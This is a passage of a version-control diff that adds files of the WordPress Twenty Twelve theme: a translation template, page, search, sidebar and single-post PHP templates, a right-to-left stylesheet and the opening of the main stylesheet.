+		value.bind( function( to ) {
+			var body = $( 'body' );
+
+			if ( '' !== to ) {
+				body.removeClass( 'custom-background-empty custom-background-white' );
+			} else if ( 'rgb(255, 255, 255)' === body.css( 'background-color' ) ) {
+				body.addClass( 'custom-background-white' );
+			} else if ( 'rgb(230, 230, 230)' === body.css( 'background-color' ) && '' === wp.customize.instance( 'background_color' ).get() ) {
+				body.addClass( 'custom-background-empty' );
+			}
+		} );
+	} );
+} )( jQuery );
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/languages/twentytwelve.pot
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/languages/twentytwelve.pot	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/languages/twentytwelve.pot	(revision 33402)
@@ -0,0 +1,353 @@
+# Copyright (C) 2014 the WordPress team
+# This file is distributed under the GNU General Public License v2 or later.
+msgid ""
+msgstr ""
+"Project-Id-Version: Twenty Twelve 1.6\n"
+"Report-Msgid-Bugs-To: http://wordpress.org/tags/twentytwelve\n"
+"POT-Creation-Date: 2014-12-18 16:59:50+00:00\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"PO-Revision-Date: 2014-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+
+#: 404.php:17
+msgid "This is somewhat embarrassing, isn&rsquo;t it?"
+msgstr ""
+
+#: 404.php:21
+msgid ""
+"It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps "
+"searching can help."
+msgstr ""
+
+#: archive.php:29
+msgid "Daily Archives: %s"
+msgstr ""
+
+#: archive.php:31
+msgid "Monthly Archives: %s"
+msgstr ""
+
+#: archive.php:31
+msgctxt "monthly archives date format"
+msgid "F Y"
+msgstr ""
+
+#: archive.php:33
+msgid "Yearly Archives: %s"
+msgstr ""
+
+#: archive.php:33
+msgctxt "yearly archives date format"
+msgid "Y"
+msgstr ""
+
+#: archive.php:35
+msgid "Archives"
+msgstr ""
+
+#: author.php:32
+msgid "Author Archives: %s"
+msgstr ""
+
+#: author.php:63 content.php:62
+msgid "About %s"
+msgstr ""
+
+#: category.php:21
+msgid "Category Archives: %s"
+msgstr ""
+
+#: comments.php:31
+msgid "One thought on &ldquo;%2$s&rdquo;"
+msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
+msgstr[0] ""
+msgstr[1] ""
+
+#: comments.php:42
+msgid "Comment navigation"
+msgstr ""
+
+#: comments.php:43
+msgid "&larr; Older Comments"
+msgstr ""
+
+#: comments.php:44
+msgid "Newer Comments &rarr;"
+msgstr ""
+
+#: comments.php:53
+msgid "Comments are closed."
+msgstr ""
+
+#: content-aside.php:15 content-image.php:13 content-link.php:14
+#: content-quote.php:13 content-status.php:31 content.php:44
+msgid "Continue reading <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: content-aside.php:20 content-link.php:18 content-quote.php:17
+#: content-status.php:15
+msgid "Permalink to %s"
+msgstr ""
+
+#: content-aside.php:23 content-image.php:23 content-link.php:21
+#: content-quote.php:20 content-status.php:37 content.php:33
+msgid "Leave a reply"
+msgstr ""
+
+#: content-aside.php:23 content-image.php:23 content-link.php:21
+#: content-quote.php:20 content-status.php:37 content.php:33
+msgid "1 Reply"
+msgstr ""
+
+#: content-aside.php:23 content-image.php:23 content-link.php:21
+#: content-quote.php:20 content-status.php:37 content.php:33
+msgid "% Replies"
+msgstr ""
+
+#: content-aside.php:26 content-image.php:26 content-link.php:24
+#: content-page.php:24 content-quote.php:23 content-status.php:40
+#: content.php:51 functions.php:345 image.php:37
+msgid "Edit"
+msgstr ""
+
+#: content-link.php:12
+msgid "Link"
+msgstr ""
+
+#: content-none.php:13 index.php:49 search.php:34
+msgid "Nothing Found"
+msgstr ""
+
+#: content-none.php:17 index.php:53
+msgid ""
+"Apologies, but no results were found. Perhaps searching will help find a "
+"related post."
+msgstr ""
+
+#: content-page.php:21 content.php:45 image.php:102
+msgid "Pages:"
+msgstr ""
+
+#: content.php:16
+msgid "Featured post"
+msgstr ""
+
+#: content.php:66
+msgid "View all posts by %s <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#. #-#-#-#-#  twentytwelve.pot (Twenty Twelve 1.6)  #-#-#-#-#
+#. Author URI of the plugin/theme
+#: footer.php:16
+msgid "http://wordpress.org/"
+msgstr ""
+
+#: footer.php:16
+msgid "Semantic Personal Publishing Platform"
+msgstr ""
+
+#: footer.php:16
+msgid "Proudly powered by %s"
+msgstr ""
+
+#: functions.php:64
+msgid "Primary Menu"
+msgstr ""
+
+#. translators: If there are characters in your language that are not supported
+#. 	 * by Open Sans, translate this to 'off'. Do not translate into your own
+#. language.
+#: functions.php:101
+msgctxt "Open Sans font: on or off"
+msgid "on"
+msgstr ""
+
+#. translators: To add an additional Open Sans character subset specific to
+#. your language,
+#. 		 * translate this to 'greek', 'cyrillic' or 'vietnamese'. Do not translate
+#. into your own language.
+#: functions.php:107
+msgctxt "Open Sans font: add new subset (greek, cyrillic, vietnamese)"
+msgid "no-subset"
+msgstr ""
+
+#: functions.php:213
+msgid "Page %s"
+msgstr ""
+
+#: functions.php:242
+msgid "Main Sidebar"
+msgstr ""
+
+#: functions.php:244
+msgid ""
+"Appears on posts and pages except the optional Front Page template, which "
+"has its own widgets"
+msgstr ""
+
+#: functions.php:252
+msgid "First Front Page Widget Area"
+msgstr ""
+
+#: functions.php:254 functions.php:264
+msgid ""
+"Appears when using the optional Front Page template with a page set as "
+"Static Front Page"
+msgstr ""
+
+#: functions.php:262
+msgid "Second Front Page Widget Area"
+msgstr ""
+
+#: functions.php:286 single.php:20
+msgid "Post navigation"
+msgstr ""
+
+#: functions.php:287
+msgid "<span class=\"meta-nav\">&larr;</span> Older posts"
+msgstr ""
+
+#: functions.php:288
+msgid "Newer posts <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: functions.php:313
+msgid "Pingback:"
+msgstr ""
+
+#: functions.php:313
+msgid "(Edit)"
+msgstr ""
+
+#: functions.php:328
+msgid "Post author"
+msgstr ""
+
+#. translators: 1: date, 2: time
+#: functions.php:334
+msgid "%1$s at %2$s"
+msgstr ""
+
+#: functions.php:340
+msgid "Your comment is awaiting moderation."
+msgstr ""
+
+#: functions.php:349
+msgid "Reply"
+msgstr ""
+
+#. Translators: used between list items, there is a space after the comma.
+#: functions.php:370 functions.php:373
+msgid ", "
+msgstr ""
+
+#: functions.php:384
+msgid "View all posts by %s"
+msgstr ""
+
+#. Translators: 1 is category, 2 is tag, 3 is the date and 4 is the author's
+#. name.
+#: functions.php:390
+msgid ""
+"This entry was posted in %1$s and tagged %2$s on %3$s<span class=\"by-author"
+"\"> by %4$s</span>."
+msgstr ""
+
+#: functions.php:392
+msgid ""
+"This entry was posted in %1$s on %3$s<span class=\"by-author\"> by %4$s</"
+"span>."
+msgstr ""
+
+#: functions.php:394
+msgid "This entry was posted on %3$s<span class=\"by-author\"> by %4$s</span>."
+msgstr ""
+
+#: header.php:43
+msgid "Menu"
+msgstr ""
+
+#: header.php:44
+msgid "Skip to content"
+msgstr ""
+
+#: image.php:26
+msgid ""
+"<span class=\"meta-prep meta-prep-entry-date\">Published </span> <span class="
+"\"entry-date\"><time class=\"entry-date\" datetime=\"%1$s\">%2$s</time></"
+"span> at <a href=\"%3$s\" title=\"Link to full-size image\">%4$s &times; "
+"%5$s</a> in <a href=\"%6$s\" title=\"Return to %7$s\" rel=\"gallery\">%8$s</"
+"a>."
+msgstr ""
+
+#: image.php:41
+msgid "&larr; Previous"
+msgstr ""
+
+#: image.php:42
+msgid "Next &rarr;"
+msgstr ""
+
+#: index.php:38
+msgid "No posts to display"
+msgstr ""
+
+#: index.php:42
+msgid "Ready to publish your first post? <a href=\"%s\">Get started here</a>."
+msgstr ""
+
+#: search.php:18
+msgid "Search Results for: %s"
+msgstr ""
+
+#: search.php:38
+msgid ""
+"Sorry, but nothing matched your search criteria. Please try again with some "
+"different keywords."
+msgstr ""
+
+#: single.php:21
+msgctxt "Previous post link"
+msgid "&larr;"
+msgstr ""
+
+#: single.php:22
+msgctxt "Next post link"
+msgid "&rarr;"
+msgstr ""
+
+#: tag.php:21
+msgid "Tag Archives: %s"
+msgstr ""
+
+#. Theme Name of the plugin/theme
+msgid "Twenty Twelve"
+msgstr ""
+
+#. Theme URI of the plugin/theme
+msgid "http://wordpress.org/themes/twentytwelve"
+msgstr ""
+
+#. Description of the plugin/theme
+msgid ""
+"The 2012 theme for WordPress is a fully responsive theme that looks great on "
+"any device. Features include a front page template with its own widgets, an "
+"optional display font, styling for post formats on both index and single "
+"views, and an optional no-sidebar page template. Make it yours with a custom "
+"menu, header image, and background."
+msgstr ""
+
+#. Author of the plugin/theme
+msgid "the WordPress team"
+msgstr ""
+
+#. Template Name of the plugin/theme
+msgid "Front Page Template"
+msgstr ""
+
+#. Template Name of the plugin/theme
+msgid "Full-width Page Template, No Sidebar"
+msgstr ""
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/page-templates/front-page.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/page-templates/front-page.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/page-templates/front-page.php	(revision 33402)
@@ -0,0 +1,35 @@
+<?php
+/**
+ * Template Name: Front Page Template
+ *
+ * Description: A page template that provides a key component of WordPress as a CMS
+ * by meeting the need for a carefully crafted introductory page. The front page template
+ * in Twenty Twelve consists of a page content area for adding text, images, video --
+ * anything you'd like -- followed by front-page-only widgets in one or two columns.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="site-content">
+		<div id="content" role="main">
+
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php if ( has_post_thumbnail() ) : ?>
+					<div class="entry-page-image">
+						<?php the_post_thumbnail(); ?>
+					</div><!-- .entry-page-image -->
+				<?php endif; ?>
+
+				<?php get_template_part( 'content', 'page' ); ?>
+
+			<?php endwhile; // end of the loop. ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar( 'front' ); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/page-templates/full-width.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/page-templates/full-width.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/page-templates/full-width.php	(revision 33402)
@@ -0,0 +1,30 @@
+<?php
+/**
+ * Template Name: Full-width Page Template, No Sidebar
+ *
+ * Description: Twenty Twelve loves the no-sidebar look as much as
+ * you do. Use this page template to remove the sidebar from any page.
+ *
+ * Tip: to remove the sidebar from all posts and pages simply remove
+ * any active widgets from the Main Sidebar area, and the sidebar will
+ * disappear everywhere.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="site-content">
+		<div id="content" role="main">
+
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', 'page' ); ?>
+				<?php comments_template( '', true ); ?>
+			<?php endwhile; // end of the loop. ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/page.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/page.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/page.php	(revision 33402)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * The template for displaying all pages
+ *
+ * This is the template that displays all pages by default.
+ * Please note that this is the WordPress construct of pages
+ * and that other 'pages' on your WordPress site will use a
+ * different template.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="site-content">
+		<div id="content" role="main">
+
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', 'page' ); ?>
+				<?php comments_template( '', true ); ?>
+			<?php endwhile; // end of the loop. ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/rtl.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/rtl.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/rtl.css	(revision 33402)
@@ -0,0 +1,237 @@
+/*
+Theme Name: Twenty Twelve
+Description: Adds support for languages written in a Right To Left (RTL) direction.
+It's easy, just a matter of overwriting all the horizontal positioning attributes
+of your CSS stylesheet in a separate stylesheet file named rtl.css.
+
+See http://codex.wordpress.org/Right_to_Left_Language_Support
+*/
+
+
+body {
+	direction: rtl;
+	unicode-bidi: embed;
+}
+caption,
+th,
+td {
+	text-align: right;
+}
+
+/* =Repeatable patterns
+-------------------------------------------------------------- */
+
+/* Images */
+.site-content .gallery-columns-4 .gallery-item {
+	padding-left: 2%;
+	padding-right: 0;
+}
+.site-content .gallery-columns-5 .gallery-item {
+	padding-left: 2%;
+	padding-right: 0;
+}
+
+/* Navigation */
+.nav-previous,
+.previous-image {
+	float: right;
+}
+.nav-next,
+.next-image {
+	float: left;
+	text-align: left;
+}
+
+/* Author profiles */
+.author-avatar {
+	float: right;
+}
+.author-description {
+	float: right;
+	margin-right: 15px;
+	margin-right: 1.071428571rem;
+	margin-left: auto;
+}
+
+
+/* =Main Content
+----------------------------------------------- */
+
+.comment-content ol,
+.comment-content ul {
+	margin: 0 24px 0 0;
+	margin: 0 1.714285714rem 0 0;
+}
+
+
+/* =Basic post styling
+-------------------------------------------------------------- */
+
+.entry-content li,
+.comment-content li {
+	margin: 0 24px 0 0;
+	margin: 0 1.714285714rem 0 0;
+}
+.entry-content td,
+.comment-content td {
+	padding: 6px 0 6px 10px;
+}
+
+
+/* Aside posts */
+article.format-aside .aside {
+	border-right: 22px solid #a8bfe8;
+	border-left: none;
+}
+
+/* Link posts */
+article.format-link header {
+	float: left;
+}
+article.format-link .entry-content {
+	float: right;
+}
+
+/* Status posts */
+.format-status .entry-header img {
+	float: right;
+	margin-left: 21px;
+	margin-left: 1.5rem;
+	margin-right: 0;
+}
+
+
+/* =Comment styling
+-------------------------------------------------------------- */
+
+.comments-area article header img {
+	float: right;
+}
+.comments-area article header cite,
+.comments-area article header time {
+	margin-right: 85px;
+	margin-right: 6.071428571rem;
+	margin-left: auto;
+}
+.comments-area article header h4 {
+	left: 0;
+	right: auto;
+}
+.comments-area .bypostauthor cite span {
+	margin-right: 5px;
+	margin-right: 0.357142857rem;
+	margin-left: auto;
+}
+
+/* Comment form */
+#respond h3#reply-title #cancel-comment-reply-link {
+	margin-right: 10px;
+	margin-right: 0.714285714rem;
+	margin-left: auto;
+}
+label ~ span.required {
+	float: right;
+	margin: -18px -16px 0 0;
+	margin: -1.285714286rem -1.142857143rem 0 0;
+}
+
+
+/* =Front page template styling
+-------------------------------------------------------------- */
+
+.template-front-page .widget-area .widget_text img {
+	float: right;
+	margin: 8px 0 8px 24px;
+	margin: 0.571428571rem 0 0.571428571rem 1.714285714rem;
+}
+
+
+/* =Widget styling
+-------------------------------------------------------------- */
+
+.widget-area .widget ul ul {
+	margin-right: 12px;
+	margin-right: 0.857142857rem;
+	margin-left: auto;
+}
+.widget-area .textwidget li {
+	margin-left: auto;
+	margin-right: 36px;
+	margin-right: 2.571428571rem;
+}
+.widget_recent_entries .post-date,
+.widget_rss .rss-date {
+	margin-right: 12px;
+	margin-right: 0.857142857rem;
+	margin-left: auto;
+}
+#wp-calendar th,
+#wp-calendar td,
+#wp-calendar caption {
+	text-align: right;
+}
+#wp-calendar #next {
+	padding-left: 24px;
+	padding-left: 1.714285714rem;
+	text-align: left;
+	padding-right: 0;
+}
+
+/* =Media queries
+-------------------------------------------------------------- */
+
+/* Minimum width of 600 pixels. */
+@media screen and (min-width: 600px) {
+	.site-content,
+	.template-front-page.has-post-thumbnail article {
+		float: right;
+	}
+	.widget-area,
+	.entry-page-image {
+		float: left;
+	}
+	.site-header h1,
+	.site-header h2 {
+		text-align: right;
+	}
+	.template-front-page .widget-area .widget_text img {
+		float: right;
+		margin: 8px 0 8px 24px;
+	}
+	.template-front-page .widget-area .widget,
+	.template-front-page.two-sidebars .widget-area .front-widgets {
+		float: right;
+	}
+	.template-front-page .widget-area .widget:nth-child(odd) {
+		clear: left;
+	}
+	.template-front-page .widget-area .widget:nth-child(even),
+	.template-front-page.two-sidebars .widget-area .front-widgets + .front-widgets {
+		float: left;
+		margin: 0 24px 0;
+		margin: 0 1.714285714rem 0;
+	}
+	.main-navigation ul.nav-menu,
+ 	.main-navigation div.nav-menu > ul {
+		text-align: right;
+	}
+	.main-navigation li {
+		margin-left: 40px;
+		margin-left: 2.857142857rem;
+		margin-right: auto;
+	}
+	.main-navigation li ul ul {
+		margin-right: 0;
+		right: 100%;
+		left: auto;
+	}
+	.main-navigation ul li:hover > ul {
+		border-right: 0;
+		border-left: none;
+	}
+	.commentlist .children {
+		margin-right: 48px;
+		margin-right: 3.428571429rem;
+		margin-left: auto;
+	}
+}
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/search.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/search.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/search.php	(revision 33402)
@@ -0,0 +1,49 @@
+<?php
+/**
+ * The template for displaying Search Results pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="site-content">
+		<div id="content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+
+			<header class="page-header">
+				<h1 class="page-title"><?php printf( __( 'Search Results for: %s', 'twentytwelve' ), '<span>' . get_search_query() . '</span>' ); ?></h1>
+			</header>
+
+			<?php twentytwelve_content_nav( 'nav-above' ); ?>
+
+			<?php /* Start the Loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentytwelve_content_nav( 'nav-below' ); ?>
+
+		<?php else : ?>
+
+			<article id="post-0" class="post no-results not-found">
+				<header class="entry-header">
+					<h1 class="entry-title"><?php _e( 'Nothing Found', 'twentytwelve' ); ?></h1>
+				</header>
+
+				<div class="entry-content">
+					<p><?php _e( 'Sorry, but nothing matched your search criteria. Please try again with some different keywords.', 'twentytwelve' ); ?></p>
+					<?php get_search_form(); ?>
+				</div><!-- .entry-content -->
+			</article><!-- #post-0 -->
+
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/sidebar-front.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/sidebar-front.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/sidebar-front.php	(revision 33402)
@@ -0,0 +1,35 @@
+<?php
+/**
+ * The sidebar containing the front page widget areas
+ *
+ * If no active widgets are in either sidebar, hide them completely.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+/*
+ * The front page widget area is triggered if any of the areas
+ * have widgets. So let's check that first.
+ *
+ * If none of the sidebars have widgets, then let's bail early.
+ */
+if ( ! is_active_sidebar( 'sidebar-2' ) && ! is_active_sidebar( 'sidebar-3' ) )
+	return;
+
+// If we get this far, we have widgets. Let do this.
+?>
+<div id="secondary" class="widget-area" role="complementary">
+	<?php if ( is_active_sidebar( 'sidebar-2' ) ) : ?>
+	<div class="first front-widgets">
+		<?php dynamic_sidebar( 'sidebar-2' ); ?>
+	</div><!-- .first -->
+	<?php endif; ?>
+
+	<?php if ( is_active_sidebar( 'sidebar-3' ) ) : ?>
+	<div class="second front-widgets">
+		<?php dynamic_sidebar( 'sidebar-3' ); ?>
+	</div><!-- .second -->
+	<?php endif; ?>
+</div><!-- #secondary -->
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/sidebar.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/sidebar.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/sidebar.php	(revision 33402)
@@ -0,0 +1,17 @@
+<?php
+/**
+ * The sidebar containing the main widget area
+ *
+ * If no active widgets are in the sidebar, hide it completely.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+
+	<?php if ( is_active_sidebar( 'sidebar-1' ) ) : ?>
+		<div id="secondary" class="widget-area" role="complementary">
+			<?php dynamic_sidebar( 'sidebar-1' ); ?>
+		</div><!-- #secondary -->
+	<?php endif; ?>
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/single.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/single.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/single.php	(revision 33402)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * The Template for displaying all single posts
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="site-content">
+		<div id="content" role="main">
+
+			<?php while ( have_posts() ) : the_post(); ?>
+
+				<?php get_template_part( 'content', get_post_format() ); ?>
+
+				<nav class="nav-single">
+					<h3 class="assistive-text"><?php _e( 'Post navigation', 'twentytwelve' ); ?></h3>
+					<span class="nav-previous"><?php previous_post_link( '%link', '<span class="meta-nav">' . _x( '&larr;', 'Previous post link', 'twentytwelve' ) . '</span> %title' ); ?></span>
+					<span class="nav-next"><?php next_post_link( '%link', '%title <span class="meta-nav">' . _x( '&rarr;', 'Next post link', 'twentytwelve' ) . '</span>' ); ?></span>
+				</nav><!-- .nav-single -->
+
+				<?php comments_template( '', true ); ?>
+
+			<?php endwhile; // end of the loop. ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/style.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/style.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/style.css	(revision 33402)
@@ -0,0 +1,1770 @@
+/*
+Theme Name: Twenty Twelve
+Theme URI: http://wordpress.org/themes/twentytwelve
+Author: the WordPress team
+Author URI: http://wordpress.org/
+Description: The 2012 theme for WordPress is a fully responsive theme that looks great on any device. Features include a front page template with its own widgets, an optional display font, styling for post formats on both index and single views, and an optional no-sidebar page template. Make it yours with a custom menu, header image, and background.
+Version: 1.6
+License: GNU General Public License v2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: light, gray, white, one-column, two-columns, right-sidebar, fluid-layout, responsive-layout, custom-background, custom-header, custom-menu, editor-style, featured-images, flexible-header, full-width-template, microformats, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready
+Text Domain: twentytwelve
+
+This theme, like WordPress, is licensed under the GPL.
+Use it to make something cool, have fun, and share what you've learned with others.
+*/
+
+/* =Notes
+--------------------------------------------------------------
+This stylesheet uses rem values with a pixel fallback. The rem
+values (and line heights) are calculated using two variables:
+
+$rembase:     14;
+$line-height: 24;
+
+---------- Examples
+
+* Use a pixel value with a rem fallback for font-size, padding, margins, etc.
+	padding: 5px 0;
+	padding: 0.357142857rem 0; (5 / $rembase)
+
+* Set a font-size and then set a line-height based on the font-size
+	font-size: 16px
+	font-size: 1.142857143rem; (16 / $rembase)
+	line-height: 1.5; ($line-height / 16)
+
+---------- Vertical spacing
+
+Vertical spacing between most elements should use 24px or 48px
+to maintain vertical rhythm:
+
+.my-new-div {
+	margin: 24px 0;
+	margin: 1.714285714rem 0; ( 24 / $rembase )
+}
+
+---------- Further reading
+
+http://snook.ca/archives/html_and_css/font-size-with-rem
+http://blog.typekit.com/2011/11/09/type-study-sizing-the-legible-letter/
+
+
+/* =Reset
+-------------------------------------------------------------- */
+
+html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video {
+	margin: 0;
+	padding: 0;
+	border: 0;
+	font-size: 100%;
+	vertical-align: baseline;
+}
+body {
+	line-height: 1;
+}
+ol,
+ul {
+	list-style: none;
+}
+blockquote,
+q {
+	quotes: none;
+}
+blockquote:before,
+blockquote:after,
+q:before,
+q:after {
+	content: '';
+	content: none;
+}
+table {
+	border-collapse: collapse;
+	border-spacing: 0;
+}
+caption,
+th,
+td {
+	font-weight: normal;
+	text-align: left;
+}
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+}
+html {
+	overflow-y: scroll;
+	font-size: 100%;
+	-webkit-text-size-adjust: 100%;
+	-ms-text-size-adjust: 100%;
+}
+a:focus {
+	outline: thin dotted;
+}
+article,
+aside,
+details,
+figcaption,
+figure,
+footer,
+header,
+hgroup,
+nav,
+section {
+	display: block;
+}
+audio,
+canvas,
+video {
+	display: inline-block;
+}
+audio:not([controls]) {
+	display: none;
+}
+del {
+	color: #333;
+}
+ins {
+	background: #fff9c0;
+	text-decoration: none;
+}
+hr {
+	background-color: #ccc;
+	border: 0;
+	height: 1px;
+	margin: 24px;
+	margin-bottom: 1.714285714rem;
+}
+sub,
+sup {
+	font-size: 75%;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+sup {
+	top: -0.5em;
+}
+sub {
+	bottom: -0.25em;
+}
+small {
+	font-size: smaller;
+}
+img {
+	border: 0;
+	-ms-interpolation-mode: bicubic;
+}
+
+/* Clearing floats */
+.clear:after,
+.wrapper:after,
+.format-status .entry-header:after {
+	clear: both;
+}
+.clear:before,
+.clear:after,
+.wrapper:before,
+.wrapper:after,
+.format-status .entry-header:before,
+.format-status .entry-header:after {
+	display: table;
+	content: "";
+}
+
+
+/* =Repeatable patterns
+-------------------------------------------------------------- */
+
+/* Small headers */
+.archive-title,
+.page-title,
+.widget-title,
+.entry-content th,
+.comment-content th {
+	font-size: 11px;
+	font-size: 0.785714286rem;
+	line-height: 2.181818182;
+	font-weight: bold;
+	text-transform: uppercase;
+	color: #636363;
+}
+
+/* Shared Post Format styling */
+article.format-quote footer.entry-meta,
+article.format-link footer.entry-meta,
+article.format-status footer.entry-meta {
+	font-size: 11px;
+	font-size: 0.785714286rem;
+	line-height: 2.181818182;
+}
+
+/* Form fields, general styles first */
+button,
+input,
+select,
+textarea {
+	border: 1px solid #ccc;
+	border-radius: 3px;
+	font-family: inherit;
+	padding: 6px;
+	padding: 0.428571429rem;
+}
+button,
+input {
+	line-height: normal;
+}
+textarea {
+	font-size: 100%;
+	overflow: auto;
+	vertical-align: top;
+}
+
+/* Reset non-text input types */
+input[type="checkbox"],
+input[type="radio"],
+input[type="file"],
+input[type="hidden"],
+input[type="image"],
+input[type="color"] {
+	border: 0;
+	border-radius: 0;
+	padding: 0;
+}
+
+/* Buttons */
+.menu-toggle,
+input[type="submit"],
+input[type="button"],
+input[type="reset"],
+article.post-password-required input[type=submit],
+.bypostauthor cite span {
+	padding: 6px 10px;
+	padding: 0.428571429rem 0.714285714rem;
+	font-size: 11px;
+	font-size: 0.785714286rem;
+	line-height: 1.428571429;
+	font-weight: normal;
+	color: #7c7c7c;
+	background-color: #e6e6e6;
+	background-repeat: repeat-x;
+	background-image: -moz-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: -ms-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: -webkit-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: -o-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: linear-gradient(top, #f4f4f4, #e6e6e6);
+	border: 1px solid #d2d2d2;
+	border-radius: 3px;
+	box-shadow: 0 1px 2px rgba(64, 64, 64, 0.1);
+}
+.menu-toggle,
+button,
+input[type="submit"],
+input[type="button"],
+input[type="reset"] {
+	cursor: pointer;
+}
+button[disabled],
+input[disabled] {
+	cursor: default;
+}
+.menu-toggle:hover,
+.menu-toggle:focus,
+button:hover,
+input[type="submit"]:hover,
+input[type="button"]:hover,
+input[type="reset"]:hover,
+article.post-password-required input[type=submit]:hover {
+	color: #5e5e5e;
+	background-color: #ebebeb;
+	background-repeat: repeat-x;
+	background-image: -moz-linear-gradient(top, #f9f9f9, #ebebeb);
+	background-image: -ms-linear-gradient(top, #f9f9f9, #ebebeb);
+	background-image: -webkit-linear-gradient(top, #f9f9f9, #ebebeb);
+	background-image: -o-linear-gradient(top, #f9f9f9, #ebebeb);
+	background-image: linear-gradient(top, #f9f9f9, #ebebeb);
+}
+.menu-toggle:active,
+.menu-toggle.toggled-on,
+button:active,
+input[type="submit"]:active,
+input[type="button"]:active,
+input[type="reset"]:active {
+	color: #757575;
+	background-color: #e1e1e1;
+	background-repeat: repeat-x;
+	background-image: -moz-linear-gradient(top, #ebebeb, #e1e1e1);
+	background-image: -ms-linear-gradient(top, #ebebeb, #e1e1e1);
+	background-image: -webkit-linear-gradient(top, #ebebeb, #e1e1e1);
